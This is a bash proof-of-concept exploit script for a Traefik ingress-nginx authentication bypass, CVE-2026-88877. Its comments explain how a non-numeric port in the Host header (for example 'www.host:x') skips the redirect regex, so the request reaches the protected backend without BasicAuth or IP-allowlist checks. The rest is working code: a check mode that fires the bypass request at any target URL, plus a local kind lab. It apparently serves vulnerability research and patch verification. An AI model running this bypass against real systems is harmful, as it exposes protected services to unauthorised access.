#!/usr/bin/env bash
# Archived for authorized security research only.
# Source: https://github.com/pwnVader/CVE-2026-88877-PoC-pwnVader (see README for attribution/license)
# =============================================================================
# CVE-2026-88877 — Traefik v3.7.0 .. v3.7.11 — Authentication bypass via the
#                 Kubernetes ingress-nginx provider and the
#                 nginx.ingress.kubernetes.io/from-to-www-redirect annotation
#
# Author : pwnVader
# License: MIT (repository root)
# Note   : independent technical analysis + PoC (not the original discovery);
#          the vulnerability was disclosed by the Traefik project and fixed in v3.7.12.
#
# When an Ingress carries both an authentication annotation and
# from-to-www-redirect, Traefik creates an extra "sibling" router that matches
# the host alone and carries only a RedirectRegex middleware, but still points
# at the protected backend. The regex only accepts a numeric (or absent) port:
#
#     (https?)://[^/:]+(:[0-9]+)?/(.*)
#
# A request with a non-numeric port in the Host header (Host: www.example.com:x)
# still matches the sibling router (the Host matcher canonicalizes the authority
# via net.SplitHostPort) but does NOT match the redirect regex. Because
# RedirectRegex is not a terminal handler, the request falls through and is
# proxied to the protected backend with none of the Ingress's annotation-derived
# middlewares applied — BasicAuth, source-IP allowlists, etc.
#
# Modes
#   check     Test a target (read-only, three requests).
#   lab       Build the local kind lab (Traefik v3.7.10) and test it.
#   lab-down  Tear the lab down.
#
# Usage
#   ./poc.sh check --url https://target [--host target] [--path /]
#   ./poc.sh lab
#
# Options
#   --url URL      Connection target (scheme://host[:port]).
#   --host HOST    Base host for the Host header (default: hostname of --url).
#   --path PATH    Request path (default: /).
#   --timeout N    Per-request timeout in seconds (default 15).
#   --insecure     Do not verify TLS certificates (-k).
#   --verbose      Print the raw responses.
# =============================================================================
set -u

DEFAULT_TIMEOUT=15
MODE=""
URL=""
HOST=""
PATH_="/"
TIMEOUT="$DEFAULT_TIMEOUT"
INSECURE=""
VERBOSE=0
FROM_MENU=0

passed=0; failed=0
die(){ echo "error: $1" >&2; exit 2; }

BANNER=$(cat <<'BANNER_EOF'
██████╗  ██╗    ██╗ ███╗   ██╗ ██╗   ██╗  █████╗  ██████╗  ███████╗ ██████╗
██╔══██╗ ██║    ██║ ████╗  ██║ ██║   ██║ ██╔══██╗ ██╔══██╗ ██╔════╝ ██╔══██╗
██████╔╝ ██║ █╗ ██║ ██╔██╗ ██║ ██║   ██║ ███████║ ██║  ██║ █████╗   ██████╔╝
██╔═══╝  ██║███╗██║ ██║╚██╗██║ ╚██╗ ██╔╝ ██╔══██║ ██║  ██║ ██╔══╝   ██╔══██╗
██║      ╚███╔███╔╝ ██║ ╚████║  ╚████╔╝  ██║  ██║ ██████╔╝ ███████╗ ██║  ██║
╚═╝       ╚══╝╚══╝  ╚═╝  ╚═══╝   ╚═══╝   ╚═╝  ╚═╝ ╚═════╝  ╚══════╝ ╚═╝  ╚═╝
BANNER_EOF
)
if [ -t 1 ]; then C_G='\033[32m'; C_R='\033[31m'; C_Y='\033[33m'; C_C='\033[36m'; C_0='\033[0m'; else C_G=''; C_R=''; C_Y=''; C_C=''; C_0=''; fi
trap 'echo; echo "interrupted by user"; exit 130' INT
need(){ command -v "$1" >/dev/null 2>&1 || die "required tool not found: $1"; }
need curl
print_banner(){ printf '%s\n' "$BANNER"; echo "  Author: pwnVader"; echo; }

ok(){   echo -e "  ${C_G}[PASS]${C_0} $1"; passed=$((passed+1)); }
ko(){   echo -e "  ${C_R}[FAIL]${C_0} $1"; failed=$((failed+1)); }
info(){ echo -e "  ${C_C}[info]${C_0} $1"; }
usage(){ sed -n '2,50p' "$0"; }

KIND="${KIND:-kind}"
KUBECTL="${KUBECTL:-kubectl}"
LAB_DIR="$(cd "$(dirname "$0")" && pwd)/lab"
LAB_URL="http://127.0.0.1:${LAB_PORT:-18080}"
LAB_HOST="example.local"

req(){ # req HOSTHEADER -> "code"
  local h="$1"
  local opts=(-s -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" -H "Host: $h")
  [ -n "$INSECURE" ] && opts+=(-k)
  curl "${opts[@]}" "$URL$PATH_"
}

req_body(){ # req_body HOSTHEADER -> full response (headers + body)
  local h="$1"
  local opts=(-s -i --max-time "$TIMEOUT" -H "Host: $h")
  [ -n "$INSECURE" ] && opts+=(-k)
  curl "${opts[@]}" "$URL$PATH_"
}

start_lab_portforward(){
  need "$KUBECTL"
  pkill -f "port-forward svc/traefik" 2>/dev/null || true
  setsid nohup "$KUBECTL" port-forward svc/traefik "${LAB_PORT:-18080}":8000 \
    >/tmp/cve88877-port-forward.log 2>&1 < /dev/null &
  disown 2>/dev/null || true
  for _ in $(seq 1 20); do
    if curl -s -o /dev/null --max-time 2 "$LAB_URL/"; then return 0; fi
    sleep 1
  done
  return 1
}

do_check(){
  [ -n "$URL" ] || die "--url is required"
  URL="${URL%/}"
  if [ -z "$HOST" ]; then HOST="$(printf '%s' "$URL" | sed -E 's#^[a-z]+://##; s#/.*$##; s#:[0-9]+$##')"; fi
  local www="www.${HOST}"
  local malformed="${www}:x"

  echo "== CVE-2026-88877 PoC (check) =="
  echo "connection : $URL$PATH_"
  echo "host base  : $HOST"
  echo

  echo "[1] Protected host (Host: $HOST) — authentication must be enforced"
  local c1; c1=$(req "$HOST")
  echo "    HTTP $c1"
  [ "$VERBOSE" = 1 ] && req_body "$HOST" | sed 's/^/    | /' | head -12
  case "$c1" in 401|403) ok "auth middleware enforced (HTTP $c1)";; 2*) info "host is NOT protected (HTTP $c1) — nothing to bypass";; *) info "unexpected status $c1";; esac
  echo

  echo "[2] www host (Host: $www) — the redirect router"
  local c2; c2=$(req "$www")
  echo "    HTTP $c2"
  [ "$VERBOSE" = 1 ] && req_body "$www" | sed 's/^/    | /' | head -10
  case "$c2" in 30*) ok "redirect router responds (HTTP $c2)";; *) info "no redirect (HTTP $c2)";; esac
  echo

  echo "[3] Bypass attempt (Host: $malformed) — non-numeric port"
  local c3; c3=$(req "$malformed")
  echo "    HTTP $c3"
  local body3; body3=$(req_body "$malformed")
  [ "$VERBOSE" = 1 ] && printf '%s' "$body3" | sed 's/^/    | /' | head -14
  echo "$body3" | grep -aiE 'Hostname:|RemoteAddr:|Server:' | head -3 | sed 's/^/    > /'
  echo

  echo "== RESULT =="
  if { [ "$c1" = "401" ] || [ "$c1" = "403" ]; } && [ "$c3" != "401" ] && [ "$c3" != "403" ] && [ "${c3:0:1}" != "3" ]; then
    ok "VULNERABLE: the request reached the protected backend without authentication (HTTP $c3)"
    echo "  The auth middleware was bypassed with a non-numeric port in the Host header."
    echo "  (The exact status code depends on the backend; this lab's whoami backend returns 200.)"
    exit 0
  elif [ "$c1" = "401" ] || [ "$c1" = "403" ]; then
    ko "not vulnerable on this target (bypass request returned HTTP $c3)"
    echo "  Either the version is fixed (>= 3.7.12) or the Ingress does not combine"
    echo "  authentication with nginx.ingress.kubernetes.io/from-to-www-redirect."
    exit 1
  else
    info "inconclusive: the base host did not require authentication (HTTP $c1)"
    exit 1
  fi
}

interactive(){
  print_banner
  echo "  CVE-2026-88877 - Traefik ingress-nginx auth bypass (from-to-www-redirect)"
  echo
  echo "    1) Build the local lab (kind + Traefik v3.7.10) and test it"
  echo "    2) Test a custom target"
  echo "    3) Tear down the local lab"
  echo "    0) exit"
  echo
  printf "  mode [1]: "; read -r sel; sel="${sel:-1}"
  case "$sel" in
    1) MODE="lab" ;;
    2) MODE="check"; printf "  url  [http://127.0.0.1:18080]: "; read -r u; URL="${u:-http://127.0.0.1:18080}"
       printf "  host [example.local]: "; read -r h; HOST="${h:-example.local}" ;;
    3) MODE="lab-down" ;;
    0) exit 0 ;;
    *) die "invalid selection: $sel" ;;
  esac
  FROM_MENU=1
}

# ----------------------------------- args -----------------------------------
if [ $# -eq 0 ]; then
  interactive
else
  case "$1" in check|lab|lab-down) MODE="$1"; shift ;; -h|--help) usage; exit 0 ;; *) die "unknown mode: $1" ;; esac
  while [ $# -gt 0 ]; do
    case "$1" in
      --url)      URL="${2:-}"; shift 2 ;;
      --host)     HOST="${2:-}"; shift 2 ;;
      --path)     PATH_="${2:-/}"; shift 2 ;;
      --timeout)  TIMEOUT="${2:-$DEFAULT_TIMEOUT}"; shift 2 ;;
      --insecure) INSECURE=1; shift ;;
      --verbose)  VERBOSE=1; shift ;;
      -h|--help)  usage; exit 0 ;;
      *) die "unknown option: $1" ;;
    esac
  done
fi

[ "$FROM_MENU" = "1" ] || print_banner

case "$MODE" in
  check)
    do_check
    ;;
  lab)
    need docker; need "$KIND"; need "$KUBECTL"
    if ! "$KIND" get clusters 2>/dev/null | grep -qx "${CLUSTER:-cve88877}"; then
      echo "[*] building the lab (this takes a few minutes)..."
      bash "$LAB_DIR/up.sh" || die "lab setup failed"
    else
      info "kind cluster already exists"
      "$KUBECTL" apply -f "$LAB_DIR/manifests.yaml" >/dev/null
      "$KUBECTL" rollout status deploy/traefik --timeout=120s >/dev/null
      "$KUBECTL" rollout status deploy/whoami --timeout=120s >/dev/null
    fi
    start_lab_portforward || die "could not expose the lab on $LAB_URL"
    URL="$LAB_URL"; HOST="$LAB_HOST"
    do_check
    ;;
  lab-down)
    bash "$LAB_DIR/down.sh"
    ;;
esac
